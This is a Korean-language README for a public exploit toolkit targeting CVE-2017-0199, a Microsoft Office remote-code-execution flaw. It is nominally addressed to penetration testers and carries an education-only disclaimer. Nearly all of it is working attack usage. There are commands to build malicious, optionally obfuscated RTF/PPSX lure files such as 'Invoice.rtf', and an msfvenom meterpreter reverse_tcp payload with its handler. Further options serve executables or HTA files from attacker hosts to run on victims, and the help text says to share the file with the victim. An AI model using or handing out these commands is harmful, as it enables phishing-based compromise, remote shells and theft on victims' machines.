
익스플로잇 툴킷 CVE-2017-0199 - v4.0은 침투 테스터와 보안 연구원이 Microsoft Office RCE를 신속하고 효과적으로 테스트할 수 있는 편리한 파이썬 스크립트입니다. 복잡한 설정 없이 악성 RTF/PPSX 파일을 생성하고 메타스플로잇/미터프리터/기타 페이로드를 피해자에게 전달할 수 있습니다.
이 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(bhdresh)는 이 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생하는 모든 손해에 대해 책임을 지지 않습니다. 저자 또는 인터넷 서비스 제공자는 이 프로그램이나 그 파생물의 콘텐츠 또는 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 bhdresh의 책임이 아니라는 사실에 동의하게 됩니다.
마지막으로, 이것은 개인 개발물입니다. 그 철학을 존중하고 나쁜 일에 사용하지 마십시오!
CC BY 4.0 라이선스 - https://creativecommons.org/licenses/by/4.0/
스크립트에 다음 기능이 도입되었습니다.
- 악성 PPSX 파일 생성
- 생성된 PPSX 파일에 대한 악용 모드
- template.ppsx 업데이트
버전: Python version 2.7.13
1) 악성 RTF 파일 생성
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) (선택 사항, MSF 페이로드를 사용하는 경우): 메타스플로잇 페이로드를 생성하고 핸들러 시작
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) 로컬 페이로드를 전달하기 위해 툴킷을 익스플로잇 모드로 시작
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

1) 악성 RTF 파일 생성
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc
2) 원격 페이로드를 전달하기 위해 툴킷을 익스플로잇 모드로 시작
# python cve-2017-0199_toolkit.py -M exp -t RTF -e http://remoteserver.com/shell.exe

1) 악성 RTF 파일 생성
# python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) 사용자 지정 HTA 파일을 전달하기 위해 툴킷을 익스플로잇 모드로 시작
# python cve-2017-0199_toolkit.py -M exp -t RTF -H /tmp/custom.hta

# python cve-2017-0199_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-0199 (Microsoft office RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF/PPSX file:
-w <Filename.rtf/Filename.ppsx> Name of malicious RTF/PPSX file (Share this file with victim).
-u <http://attacker.com/test.hta> The path to an HTA/SCT file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.doc (This URL will be included in malicious RTF/PPSX file and will be requested once victim will open malicious RTF file.
-t RTF|PPSX (default = RTF) Type of the file to be generated.
-x 0|1 (default = 0) Generate obfuscated RTF file. 0 = Disable, 1 = Enable.
-M exp Start exploitation mode
Exploitation:
-t RTF|PPSX (default = RTF) Type of file to be exolited.
-H </tmp/custom> Local path of a custom HTA/SCT file which needs to be delivered and executed on target.
NOTE: This option will not deliver payloads specified through options "-e" and "-l"
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.
@nixawk (RTF 샘플 제공), @Li Haifei, @bhdresh
물론 저는 풀타임 개발자가 아니므로 약간의 문제가 있을 수 있습니다.
버그와 이슈는 https://github.com/bhdresh/CVE-2017-0199/issues/new 를 통해 보고해 주세요.